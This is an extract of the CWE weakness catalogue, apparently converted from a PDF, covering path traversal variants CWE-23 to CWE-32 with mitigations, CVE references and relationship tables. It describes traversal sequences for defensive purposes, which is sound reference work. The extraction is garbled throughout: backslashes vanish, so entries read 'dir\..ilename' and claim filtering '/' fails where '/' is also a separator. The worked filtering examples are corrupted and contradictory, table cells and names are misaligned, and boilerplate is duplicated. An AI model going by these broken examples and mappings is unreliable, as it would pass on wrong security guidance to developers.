When validating filenames, use stringent whitelists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a whitelist of allowable file extensions, which will help to avoid CWE-434.

Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a blacklist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "/" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the "../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Implementation
Input Validation
Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes "./" sequences and symbolic links (CWE-23, CWE-59). This includes:
realpath() in C
getCanonicalPath() in Java
GetFullPath() in ASP.NET
realpath() or abs_path() in Perl
realpath() in PHP

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>✔</td>
<td>22</td>
<td>Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>✔</td>
<td>981</td>
<td>SFP Secondary Cluster: Path Traversal</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>✔</td>
<td>24</td>
<td>Path Traversal: '../filedir'</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>✔</td>
<td>25</td>
<td>Path Traversal: '../filedir'</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>✔</td>
<td>26</td>
<td>Path Traversal: '/dir/../filename'</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>✔</td>
<td>27</td>
<td>Path Traversal: '/dir/../../filename'</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>✔</td>
<td>28</td>
<td>Path Traversal: '..\filedir'</td>
<td>699</td>
</tr>
</tbody>
</table>
CWE-24: Path Traversal: '../filedir'

Description

Summary
The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize "/../" sequences that can resolve to a location that is outside of that directory.

Extended Description
This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

The "../" manipulation is the canonical manipulation for operating systems that use "/" as directory separators, such as UNIX- and Linux-based systems. In some cases, it is useful for bypassing protection schemes in environments for which "/" is supported but not the primary separator, such as Windows, which uses "\" but can also accept "/".

Time of Introduction
- Architecture and Design
- Implementation

Applicable Platforms

Languages
- All

Common Consequences
CWE Version 2.11
CWE-25: Path Traversal: '/../filedir'

Confidentiality
Integrity
Read files or directories
Modify files or directories

Potential Mitigations
Implementation
Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When validating filenames, use stringent whitelists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a whitelist of allowable file extensions, which will help to avoid CWE-434.

Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a blacklist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator.

Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if ".../" sequences are removed from the ".../.../.." string in a sequential fashion, two instances of ".../" would be removed from the original string, but the remaining characters would still form the ".../" string.

Implementation
Input Validation
Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>3</td>
<td>23</td>
<td>Relative Path Traversal</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>981</td>
<td>SFP Secondary Cluster: Path Traversal</td>
<td>888</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1388</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td>&quot;./filedir&quot;</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP16</td>
<td>Path Traversal</td>
</tr>
</tbody>
</table>

CWE-25: Path Traversal: "/../filedir"

Weakness ID: 25 (Weakness Variant) Status: Incomplete

Description
Summary
The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize "/../" sequences that can resolve to a location that is outside of that directory.

**Extended Description**

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory. Sometimes a program checks for "./" at the beginning of the input, so a "/../" can bypass that check.

**Time of Introduction**

- Implementation

**Applicable Platforms**

**Languages**

- All

**Common Consequences**

- Confidentiality
- Integrity
- Read files or directories
- Modify files or directories

**Potential Mitigations**

**Implementation**

**Input Validation**

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When validating filenames, use stringent whitelists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a whitelist of allowable file extensions, which will help to avoid CWE-434.

Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a blacklist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "/" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if ".../" sequences are removed from the "...//" string in a sequential fashion, two instances of "/" would be removed from the original string, but the remaining characters would still form the "/" string.

**Implementation**

**Input Validation**

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

**Relationships**
CWE Version 2.11

CWE-26: Path Traversal: '/dir/../filename'

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>23</td>
<td>Relative Path Traversal</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td>981</td>
<td>SFP Secondary Cluster: Path Traversal</td>
<td>888</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td></td>
<td>'/../filedir'</td>
</tr>
</tbody>
</table>

CWE-26: Path Traversal: '/dir/../filename'

Weakness ID: 26 (Weakness Variant) Status: Draft

Description

Summary
The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize "'/dir/../filename" sequences that can resolve to a location that is outside of that directory.

Extended Description
This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

The '/dir/../filename' manipulation is useful for bypassing some path traversal protection schemes. Sometimes a program only checks for "../" at the beginning of the input, so a "/../" can bypass that check.

Time of Introduction
• Implementation

Applicable Platforms

Languages
• All

Technology Classes
• Web-Server (Often)

Common Consequences
Confidentiality
Integrity
Read files or directories
Modify files or directories

Potential Mitigations
Implementation
Input Validation
Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code’s environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
When validating filenames, use stringent whitelists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a whitelist of allowable file extensions, which will help to avoid CWE-434.
Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a blacklist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "/" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "/.." sequences are removed from the "../..//" string in a sequential fashion, two instances of "/.." would be removed from the original string, but the remaining characters would still form the "/.." string.

Implementation
Input Validation
Inputs should be decoded and canonicalized to the application’s current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>🅺</td>
<td>23</td>
<td>Relative Path Traversal</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>40</td>
</tr>
<tr>
<td>ChildOf</td>
<td>🅼</td>
<td>981</td>
<td>SFP Secondary Cluster: Path Traversal</td>
<td>888</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1388</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td>'/directory/..../filename'</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP16</td>
<td>Path Traversal</td>
</tr>
</tbody>
</table>

CWE-27: Path Traversal: 'dir/..../filename'

Weakness ID: 27 (Weakness Variant)  Status: Draft

Description

Summary
The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize multiple internal "." sequences that can resolve to a location that is outside of that directory.

Extended Description
This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.
CWE Version 2.11
CWE-27: Path Traversal: 'dir/../../filename'

The 'directory/../../filename' manipulation is useful for bypassing some path traversal protection schemes. Sometimes a program only removes one "../" sequence, so multiple "../" can bypass that check. Alternately, this manipulation could be used to bypass a check for "../" at the beginning of the pathname, moving up more than one directory level.

Time of Introduction
- Implementation

Applicable Platforms

Languages
- All

Common Consequences
- Confidentiality
- Integrity
- Read files or directories
- Modify files or directories

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2002-0298</td>
<td>Server allows remote attackers to cause a denial of service via certain HTTP GET requests containing a %2e%2e (encoded dot-dot), several &quot;/../&quot; sequences, or several &quot;../&quot; in a URI.</td>
</tr>
</tbody>
</table>

Potential Mitigations

Implementation
Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When validating filenames, use stringent whitelists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a whitelist of allowable file extensions, which will help to avoid CWE-434.

Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a blacklist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Implementation
Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

Relationships
CWE-28: Path Traversal: '..\filedir'

Description

Summary
The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize "..\" sequences that can resolve to a location that is outside of that directory.

Extended Description
This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

The '..\' manipulation is the canonical manipulation for operating systems that use "\" as directory separators, such as Windows. However, it is also useful for bypassing path traversal protection schemes that only assume that the "/" separator is valid.

Time of Introduction
- Implementation

Applicable Platforms

Languages
- All

Operating Systems
- Windows

Common Consequences

Confidentiality
Integrity
Read files or directories
Modify files or directories

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2002-0661</td>
<td>&quot;&quot; not in blacklist for web server, allowing path traversal attacks when the server is run in Windows and other OSes.</td>
</tr>
<tr>
<td>CVE-2002-0946</td>
<td>Arbitrary files may be read files via ..\ (dot dot) sequences in an HTTP request.</td>
</tr>
<tr>
<td>CVE-2002-1042</td>
<td>Directory traversal vulnerability in search engine for web server allows remote attackers to read arbitrary files via &quot;..&quot; sequences in queries.</td>
</tr>
<tr>
<td>CVE-2002-1178</td>
<td>Directory traversal vulnerability in servlet allows remote attackers to execute arbitrary commands via &quot;..&quot; sequences in an HTTP request.</td>
</tr>
<tr>
<td>CVE-2002-1209</td>
<td>Directory traversal vulnerability in FTP server allows remote attackers to read arbitrary files via &quot;..&quot; sequences in a GET request.</td>
</tr>
</tbody>
</table>

Potential Mitigations
Implementation

Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation.

However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When validating filenames, use stringent whitelists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a whitelist of allowable file extensions, which will help to avoid CWE-434.

Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a blacklist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator.

Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Implementation

Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>23</td>
<td>Relative Path Traversal</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>981</td>
<td>SFP Secondary Cluster: Path Traversal</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td>‘...ilename’ (dot dot backslash)</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP16</td>
<td>Path Traversal</td>
</tr>
</tbody>
</table>

CWE-29: Path Traversal: '\..\filename'

Weakness ID: 29 (Weakness Variant)  Status: Incomplete

Description

Summary

The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize '\..\filename' (leading slash dot dot) sequences that can resolve to a location that is outside of that directory.

Extended Description

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.
This is similar to CWE-25, except using "\" instead of "/". Sometimes a program checks for "../" at the beginning of the input, so a "\..\" can bypass that check. It is also useful for bypassing path traversal protection schemes that only assume that the "/" separator is valid.

**Time of Introduction**
- Implementation

**Applicable Platforms**

**Languages**
- All

**Operating Systems**
- Windows

**Common Consequences**

**Confidentiality**
- Read files or directories
- Modify files or directories

**Integrity**
- Read files or directories
- Modify files or directories

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2002-1987</td>
<td>Protection mechanism checks for &quot;/..&quot; but doesn't account for Windows-specific &quot;..&quot; allowing read of arbitrary files.</td>
</tr>
<tr>
<td>CVE-2005-2142</td>
<td>Directory traversal vulnerability in FTP server allows remote authenticated attackers to list arbitrary directories via a &quot;..&quot; sequence in an LS command.</td>
</tr>
</tbody>
</table>

**Potential Mitigations**

**Implementation**

**Input Validation**

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumerics characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When validating filenames, use stringent whitelists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a whitelist of allowable file extensions, which will help to avoid CWE-434.

Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a blacklist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if ".../.../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

**Implementation**

**Input Validation**

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.
### CWE-30: Path Traversal: 'dir\..ilename'

**Description**

**Summary**
The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize "dir\..ilename" (leading backslash dot dot) sequences that can resolve to a location that is outside of that directory.

**Extended Description**
This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

This is similar to CWE-26, except using "\" instead of "/". The "dir\..ilename' manipulation is useful for bypassing some path traversal protection schemes. Sometimes a program only checks for "..\" at the beginning of the input, so a "\..\" can bypass that check.

**Time of Introduction**
- Implementation

**Applicable Platforms**

**Languages**
- All

**Operating Systems**
- Windows

**Common Consequences**
- Confidentiality
- Integrity
- Read files or directories
- Modify files or directories

**Observed Examples**
<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2002-1987</td>
<td>Protection mechanism checks for &quot;/.&quot; but doesn't account for Windows-specific &quot;..&quot; allowing read of arbitrary files.</td>
</tr>
</tbody>
</table>

**Potential Mitigations**
Implementation
Input Validation
Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
When validating filenames, use stringent whitelists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a whitelist of allowable file extensions, which will help to avoid CWE-434.
Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a blacklist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "/" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "/" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "/" would be removed from the original string, but the remaining characters would still form the "/" string.

Implementation
Input Validation
Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>23</td>
<td>Relative Path Traversal</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>981</td>
<td>SFP Secondary Cluster: Path Traversal</td>
<td>888</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td>7 - 'directory..ilename'</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP16</td>
<td>Path Traversal</td>
</tr>
</tbody>
</table>

CWE-31: Path Traversal: 'dir\..ilename'

Weakness ID: 31 (Weakness Variant) Status: Draft

Description

Summary
The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize 'dir\..ilename' (multiple internal backslash dot dot) sequences that can resolve to a location that is outside of that directory.

Extended Description
This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.
The ‘dir\..\..\filename’ manipulation is useful for bypassing some path traversal protection schemes. Sometimes a program only removes one "." sequence, so multiple ".." can bypass that check. Alternately, this manipulation could be used to bypass a check for "..\" at the beginning of the pathname, moving up more than one directory level.

**Time of Introduction**
- Implementation

**Applicable Platforms**

**Languages**
- All

**Operating Systems**
- Windows

**Common Consequences**

- **Confidentiality**
- **Integrity**
- **Read files or directories**
- **Modify files or directories**

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2002-0160</td>
<td>The administration function in Access Control Server allows remote attackers to read HTML, Java class, and image files outside the web root via a &quot;../..&quot; sequence in the URL to port 2002.</td>
</tr>
</tbody>
</table>

**Potential Mitigations**

**Implementation**

**Input Validation**

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When validating filenames, use stringent whitelists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a whitelist of allowable file extensions, which will help to avoid CWE-434.

Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a blacklist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

**Implementation**

**Input Validation**

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.
CWE-32: Path Traversal: '...' (Triple Dot)

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>23</td>
<td>Relative Path Traversal</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>981</td>
<td>SFP Secondary Cluster: Path Traversal</td>
<td>888</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>8</td>
<td>'directory....\filename'</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP16</td>
<td>Path Traversal</td>
</tr>
</tbody>
</table>

References


CWE-32: Path Traversal: '...' (Triple Dot)

Weakness ID: 32 (Weakness Variant) Status: Incomplete

Description

Summary

The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize '...' (triple dot) sequences that can resolve to a location that is outside of that directory.

Extended Description

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

The '...' manipulation is useful for bypassing some path traversal protection schemes. On some Windows systems, it is equivalent to "..\.." and might bypass checks that assume only two dots are valid. Incomplete filtering, such as removal of "/" sequences, can ultimately produce valid ".." sequences due to a collapse into unsafe value (CWE-182).

Time of Introduction

• Implementation

Applicable Platforms

Languages

• All

Common Consequences

Confidentiality

Integrity

Read files or directories

Modify files or directories

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2001-0467</td>
<td>&quot;\n...&quot; in web server</td>
</tr>
<tr>
<td>CVE-2001-0480</td>
<td>read of arbitrary files and directories using GET or CD with &quot;...&quot; in Windows-based FTP server.</td>
</tr>
<tr>
<td>CVE-2001-0615</td>
<td>&quot;...&quot; or &quot;....&quot; in chat server</td>
</tr>
<tr>
<td>CVE-2001-0963</td>
<td>&quot;...&quot; in cd command in FTP server</td>
</tr>
<tr>
<td>CVE-2001-1131</td>
<td>&quot;...&quot; in cd command in FTP server</td>
</tr>
<tr>
<td>CVE-2001-1193</td>
<td>&quot;...&quot; in cd command in FTP server</td>
</tr>
<tr>
<td>CVE-2002-0288</td>
<td>read files using &quot;.&quot; and Unicode-encoded &quot;/&quot; or &quot;&quot; characters in the URL.</td>
</tr>
<tr>
<td>CVE-2003-0313</td>
<td>Directory listing of web server using &quot;...&quot;</td>
</tr>
<tr>
<td>CVE-2005-1658</td>
<td>Triple dot</td>
</tr>
</tbody>
</table>

Potential Mitigations
Implementation
Input Validation
